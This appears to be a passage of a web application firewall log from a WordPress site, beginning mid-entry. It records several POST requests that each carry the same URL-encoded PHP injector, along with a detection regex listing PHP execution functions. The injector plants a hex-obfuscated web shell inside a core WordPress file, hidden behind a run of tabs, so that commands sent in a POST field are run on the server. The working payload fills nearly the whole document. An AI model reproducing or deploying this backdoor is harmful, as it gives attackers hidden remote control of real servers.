0%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:48:43","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> aL:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/file\/view.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524dat1%2520%253D%2520%25277%2527%253B%2524dat2%2520%253D%2520%25273%2527%253B%2524dat3%2520%253D%2520%25275%2527%253B%2524dat4%2520%253D%2520%25276%2527%253B%2524dat5%2520%253D%2520%2527f%2527%253B%2524dat6%2520%253D%2520%25278%2527%253B%2524dat7%2520%253D%2520%25270%2527%253B%2524dat8%2520%253D%2520%25271%2527%253B%2524dat9%2520%253D%2520%2527d%2527%253B%2524dat10%2520%253D%2520%2527e%2527%253B%2524dat11%2520%253D%2520%25272%2527%253B%2524dat12%2520%253D%2520%25274%2527%253B%2524mutex_lock1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%2524dat2.%2524dat1.%25279%2527.%2524dat1.%25273%2527.%25277%2527.%25274%2527.%25276%2527.%2524dat3.%25276%2527.%2527d%2527%2529%253B%2524mutex_lock2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25273%2527.%25276%2527.%25278%2527.%25276%2527.%25275%2527.%2524dat4.%2527c%2527.%25276%2527.%2527c%2527.%2524dat3.%2524dat5.%2524dat4.%2524dat3.%2524dat1.%2524dat6.%2524dat4.%2524dat3.%2524dat4.%25273%2527%2529%253B%2524mutex_lock3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524dat3.%2524dat1.%2524dat6.%2524dat4.%25275%2527.%25276%2527.%25273%2527%2529%253B%2524mutex_lock4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%25271%2527.%2524dat1.%2524dat2.%2524dat1.%2524dat2.%25277%2527.%25274%2527.%2524dat4.%2524dat6.%2524dat1.%25272%2527.%25277%2527.%2524dat3%2529%253B%2524mutex_lock5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25270%2527.%25276%2527.%2527f%2527.%25277%2527.%2524dat7.%25276%2527.%2524dat3.%2524dat4.%2527e%2527%2529%253B%2524mutex_lock6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25273%2527.%2524dat1.%25274%2527.%25277%2527.%25272%2527.%2524dat4.%25275%2527.%2524dat4.%2524dat8.%25276%2527.%2524dat9.%25275%2527.%2524dat5.%2524dat4.%2524dat1.%2524dat4.%25275%2527.%25277%2527.%25274%2527.%2524dat3.%2527f%2527.%2524dat4.%25273%2527.%25276%2527.%2524dat5.%25276%2527.%2527e%2527.%25277%2527.%25274%2527.%2524dat4.%2524dat3.%25276%2527.%2524dat10.%25277%2527.%25274%2527.%25277%2527.%25273%2527%2529%253B%2524mutex_lock7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25270%2527.%25276%2527.%2524dat2.%25276%2527.%2527c%2527.%25276%2527.%2527f%2527.%25277%2527.%2524dat2.%2524dat4.%2524dat3%2529%253B%2524approve_request%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat4.%25271%2527.%25277%2527.%2524dat7.%25277%2527.%25270%2527.%25277%2527.%25272%2527.%2524dat4.%2527f%2527.%2524dat1.%25276%2527.%2524dat4.%25275%2527.%25275%2527.%2524dat5.%25277%2527.%2524dat11.%2524dat4.%25275%2527.%25277%2527.%2524dat8.%25277%2527.%25275%2527.%2524dat4.%2524dat3.%25277%2527.%2524dat2.%2524dat1.%2524dat12%2529%253Bif%2528isset%2528%2524_POST%255B%2524approve_request%255D%2529%2529%257B%2524approve_request%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524approve_request%255D%2529%253Bif%2528function_exists%2528%2524mutex_lock1%2529%2529%257B%2524mutex_lock1%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock2%2529%2529%257Bprint%2520%2524mutex_lock2%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock3%2529%2529%257B%2524mutex_lock3%2528%2524approve_request%252C%2524holder_symbol%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524holder_symbol%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock4%2529%2529%257B%2524mutex_lock4%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock5%2529%2526%2526function_exists%2528%2524mutex_lock6%2529%2526%2526function_exists%2528%2524mutex_lock7%2529%2529%257B%2524elem_data%253D%2524mutex_lock5%2528%2524approve_request%252C%2522r%2522%2529%253Bif%2528%2524elem_data%2529%257B%2524element_fac%253D%2524mutex_lock6%2528%2524elem_data%2529%253B%2524mutex_lock7%2528%2524elem_data%2529%253Bprint%2520%2524element_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLHjvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncontent-length:6944\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\naL=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/file\/view.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524dat1%2520%253D%2520%25277%2527%253B%2524dat2%2520%253D%2520%25273%2527%253B%2524dat3%2520%253D%2520%25275%2527%253B%2524dat4%2520%253D%2520%25276%2527%253B%2524dat5%2520%253D%2520%2527f%2527%253B%2524dat6%2520%253D%2520%25278%2527%253B%2524dat7%2520%253D%2520%25270%2527%253B%2524dat8%2520%253D%2520%25271%2527%253B%2524dat9%2520%253D%2520%2527d%2527%253B%2524dat10%2520%253D%2520%2527e%2527%253B%2524dat11%2520%253D%2520%25272%2527%253B%2524dat12%2520%253D%2520%25274%2527%253B%2524mutex_lock1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%2524dat2.%2524dat1.%25279%2527.%2524dat1.%25273%2527.%25277%2527.%25274%2527.%25276%2527.%2524dat3.%25276%2527.%2527d%2527%2529%253B%2524mutex_lock2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25273%2527.%25276%2527.%25278%2527.%25276%2527.%25275%2527.%2524dat4.%2527c%2527.%25276%2527.%2527c%2527.%2524dat3.%2524dat5.%2524dat4.%2524dat3.%2524dat1.%2524dat6.%2524dat4.%2524dat3.%2524dat4.%25273%2527%2529%253B%2524mutex_lock3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524dat3.%2524dat1.%2524dat6.%2524dat4.%25275%2527.%25276%2527.%25273%2527%2529%253B%2524mutex_lock4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%25271%2527.%2524dat1.%2524dat2.%2524dat1.%2524dat2.%25277%2527.%25274%2527.%2524dat4.%2524dat6.%2524dat1.%25272%2527.%25277%2527.%2524dat3%2529%253B%2524mutex_lock5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25270%2527.%25276%2527.%2527f%2527.%25277%2527.%2524dat7.%25276%2527.%2524dat3.%2524dat4.%2527e%2527%2529%253B%2524mutex_lock6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25273%2527.%2524dat1.%25274%2527.%25277%2527.%25272%2527.%2524dat4.%25275%2527.%2524dat4.%2524dat8.%25276%2527.%2524dat9.%25275%2527.%2524dat5.%2524dat4.%2524dat1.%2524dat4.%25275%2527.%25277%2527.%25274%2527.%2524dat3.%2527f%2527.%2524dat4.%25273%2527.%25276%2527.%2524dat5.%25276%2527.%2527e%2527.%25277%2527.%25274%2527.%2524dat4.%2524dat3.%25276%2527.%2524dat10.%25277%2527.%25274%2527.%25277%2527.%25273%2527%2529%253B%2524mutex_lock7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25270%2527.%25276%2527.%2524dat2.%25276%2527.%2527c%2527.%25276%2527.%2527f%2527.%25277%2527.%2524dat2.%2524dat4.%2524dat3%2529%253B%2524approve_request%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat4.%25271%2527.%25277%2527.%2524dat7.%25277%2527.%25270%2527.%25277%2527.%25272%2527.%2524dat4.%2527f%2527.%2524dat1.%25276%2527.%2524dat4.%25275%2527.%25275%2527.%2524dat5.%25277%2527.%2524dat11.%2524dat4.%25275%2527.%25277%2527.%2524dat8.%25277%2527.%25275%2527.%2524dat4.%2524dat3.%25277%2527.%2524dat2.%2524dat1.%2524dat12%2529%253Bif%2528isset%2528%2524_POST%255B%2524approve_request%255D%2529%2529%257B%2524approve_request%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524approve_request%255D%2529%253Bif%2528function_exists%2528%2524mutex_lock1%2529%2529%257B%2524mutex_lock1%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock2%2529%2529%257Bprint%2520%2524mutex_lock2%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock3%2529%2529%257B%2524mutex_lock3%2528%2524approve_request%252C%2524holder_symbol%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524holder_symbol%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock4%2529%2529%257B%2524mutex_lock4%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock5%2529%2526%2526function_exists%2528%2524mutex_lock6%2529%2526%2526function_exists%2528%2524mutex_lock7%2529%2529%257B%2524elem_data%253D%2524mutex_lock5%2528%2524approve_request%252C%2522r%2522%2529%253Bif%2528%2524elem_data%2529%257B%2524element_fac%253D%2524mutex_lock6%2528%2524elem_data%2529%253B%2524mutex_lock7%2528%2524elem_data%2529%253Bprint%2520%2524element_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:48:46","144.76.215.54","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> so:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/file\/view.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524dat1%2520%253D%2520%25277%2527%253B%2524dat2%2520%253D%2520%25273%2527%253B%2524dat3%2520%253D%2520%25275%2527%253B%2524dat4%2520%253D%2520%25276%2527%253B%2524dat5%2520%253D%2520%2527f%2527%253B%2524dat6%2520%253D%2520%25278%2527%253B%2524dat7%2520%253D%2520%25270%2527%253B%2524dat8%2520%253D%2520%25271%2527%253B%2524dat9%2520%253D%2520%2527d%2527%253B%2524dat10%2520%253D%2520%2527e%2527%253B%2524dat11%2520%253D%2520%25272%2527%253B%2524dat12%2520%253D%2520%25274%2527%253B%2524mutex_lock1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%2524dat2.%2524dat1.%25279%2527.%2524dat1.%25273%2527.%25277%2527.%25274%2527.%25276%2527.%2524dat3.%25276%2527.%2527d%2527%2529%253B%2524mutex_lock2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25273%2527.%25276%2527.%25278%2527.%25276%2527.%25275%2527.%2524dat4.%2527c%2527.%25276%2527.%2527c%2527.%2524dat3.%2524dat5.%2524dat4.%2524dat3.%2524dat1.%2524dat6.%2524dat4.%2524dat3.%2524dat4.%25273%2527%2529%253B%2524mutex_lock3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524dat3.%2524dat1.%2524dat6.%2524dat4.%25275%2527.%25276%2527.%25273%2527%2529%253B%2524mutex_lock4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%25271%2527.%2524dat1.%2524dat2.%2524dat1.%2524dat2.%25277%2527.%25274%2527.%2524dat4.%2524dat6.%2524dat1.%25272%2527.%25277%2527.%2524dat3%2529%253B%2524mutex_lock5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25270%2527.%25276%2527.%2527f%2527.%25277%2527.%2524dat7.%25276%2527.%2524dat3.%2524dat4.%2527e%2527%2529%253B%2524mutex_lock6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25273%2527.%2524dat1.%25274%2527.%25277%2527.%25272%2527.%2524dat4.%25275%2527.%2524dat4.%2524dat8.%25276%2527.%2524dat9.%25275%2527.%2524dat5.%2524dat4.%2524dat1.%2524dat4.%25275%2527.%25277%2527.%25274%2527.%2524dat3.%2527f%2527.%2524dat4.%25273%2527.%25276%2527.%2524dat5.%25276%2527.%2527e%2527.%25277%2527.%25274%2527.%2524dat4.%2524dat3.%25276%2527.%2524dat10.%25277%2527.%25274%2527.%25277%2527.%25273%2527%2529%253B%2524mutex_lock7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25270%2527.%25276%2527.%2524dat2.%25276%2527.%2527c%2527.%25276%2527.%2527f%2527.%25277%2527.%2524dat2.%2524dat4.%2524dat3%2529%253B%2524approve_request%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat4.%25271%2527.%25277%2527.%2524dat7.%25277%2527.%25270%2527.%25277%2527.%25272%2527.%2524dat4.%2527f%2527.%2524dat1.%25276%2527.%2524dat4.%25275%2527.%25275%2527.%2524dat5.%25277%2527.%2524dat11.%2524dat4.%25275%2527.%25277%2527.%2524dat8.%25277%2527.%25275%2527.%2524dat4.%2524dat3.%25277%2527.%2524dat2.%2524dat1.%2524dat12%2529%253Bif%2528isset%2528%2524_POST%255B%2524approve_request%255D%2529%2529%257B%2524approve_request%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524approve_request%255D%2529%253Bif%2528function_exists%2528%2524mutex_lock1%2529%2529%257B%2524mutex_lock1%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock2%2529%2529%257Bprint%2520%2524mutex_lock2%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock3%2529%2529%257B%2524mutex_lock3%2528%2524approve_request%252C%2524holder_symbol%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524holder_symbol%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock4%2529%2529%257B%2524mutex_lock4%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock5%2529%2526%2526function_exists%2528%2524mutex_lock6%2529%2526%2526function_exists%2528%2524mutex_lock7%2529%2529%257B%2524elem_data%253D%2524mutex_lock5%2528%2524approve_request%252C%2522r%2522%2529%253Bif%2528%2524elem_data%2529%257B%2524element_fac%253D%2524mutex_lock6%2528%2524elem_data%2529%253B%2524mutex_lock7%2528%2524elem_data%2529%253Bprint%2520%2524element_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:6944\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvp28vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nso=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/file\/view.asset.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524dat1%2520%253D%2520%25277%2527%253B%2524dat2%2520%253D%2520%25273%2527%253B%2524dat3%2520%253D%2520%25275%2527%253B%2524dat4%2520%253D%2520%25276%2527%253B%2524dat5%2520%253D%2520%2527f%2527%253B%2524dat6%2520%253D%2520%25278%2527%253B%2524dat7%2520%253D%2520%25270%2527%253B%2524dat8%2520%253D%2520%25271%2527%253B%2524dat9%2520%253D%2520%2527d%2527%253B%2524dat10%2520%253D%2520%2527e%2527%253B%2524dat11%2520%253D%2520%25272%2527%253B%2524dat12%2520%253D%2520%25274%2527%253B%2524mutex_lock1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%2524dat2.%2524dat1.%25279%2527.%2524dat1.%25273%2527.%25277%2527.%25274%2527.%25276%2527.%2524dat3.%25276%2527.%2527d%2527%2529%253B%2524mutex_lock2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25273%2527.%25276%2527.%25278%2527.%25276%2527.%25275%2527.%2524dat4.%2527c%2527.%25276%2527.%2527c%2527.%2524dat3.%2524dat5.%2524dat4.%2524dat3.%2524dat1.%2524dat6.%2524dat4.%2524dat3.%2524dat4.%25273%2527%2529%253B%2524mutex_lock3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%2524dat3.%2524dat1.%2524dat6.%2524dat4.%25275%2527.%25276%2527.%25273%2527%2529%253B%2524mutex_lock4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%25271%2527.%2524dat1.%2524dat2.%2524dat1.%2524dat2.%25277%2527.%25274%2527.%2524dat4.%2524dat6.%2524dat1.%25272%2527.%25277%2527.%2524dat3%2529%253B%2524mutex_lock5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25270%2527.%25276%2527.%2527f%2527.%25277%2527.%2524dat7.%25276%2527.%2524dat3.%2524dat4.%2527e%2527%2529%253B%2524mutex_lock6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25273%2527.%2524dat1.%25274%2527.%25277%2527.%25272%2527.%2524dat4.%25275%2527.%2524dat4.%2524dat8.%25276%2527.%2524dat9.%25275%2527.%2524dat5.%2524dat4.%2524dat1.%2524dat4.%25275%2527.%25277%2527.%25274%2527.%2524dat3.%2527f%2527.%2524dat4.%25273%2527.%25276%2527.%2524dat5.%25276%2527.%2527e%2527.%25277%2527.%25274%2527.%2524dat4.%2524dat3.%25276%2527.%2524dat10.%25277%2527.%25274%2527.%25277%2527.%25273%2527%2529%253B%2524mutex_lock7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat1.%25270%2527.%25276%2527.%2524dat2.%25276%2527.%2527c%2527.%25276%2527.%2527f%2527.%25277%2527.%2524dat2.%2524dat4.%2524dat3%2529%253B%2524approve_request%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524dat4.%25271%2527.%25277%2527.%2524dat7.%25277%2527.%25270%2527.%25277%2527.%25272%2527.%2524dat4.%2527f%2527.%2524dat1.%25276%2527.%2524dat4.%25275%2527.%25275%2527.%2524dat5.%25277%2527.%2524dat11.%2524dat4.%25275%2527.%25277%2527.%2524dat8.%25277%2527.%25275%2527.%2524dat4.%2524dat3.%25277%2527.%2524dat2.%2524dat1.%2524dat12%2529%253Bif%2528isset%2528%2524_POST%255B%2524approve_request%255D%2529%2529%257B%2524approve_request%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524approve_request%255D%2529%253Bif%2528function_exists%2528%2524mutex_lock1%2529%2529%257B%2524mutex_lock1%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock2%2529%2529%257Bprint%2520%2524mutex_lock2%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock3%2529%2529%257B%2524mutex_lock3%2528%2524approve_request%252C%2524holder_symbol%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524holder_symbol%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock4%2529%2529%257B%2524mutex_lock4%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524mutex_lock5%2529%2526%2526function_exists%2528%2524mutex_lock6%2529%2526%2526function_exists%2528%2524mutex_lock7%2529%2529%257B%2524elem_data%253D%2524mutex_lock5%2528%2524approve_request%252C%2522r%2522%2529%253Bif%2528%2524elem_data%2529%257B%2524element_fac%253D%2524mutex_lock6%2528%2524elem_data%2529%253B%2524mutex_lock7%2528%2524elem_data%2529%253Bprint%2520%2524element_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
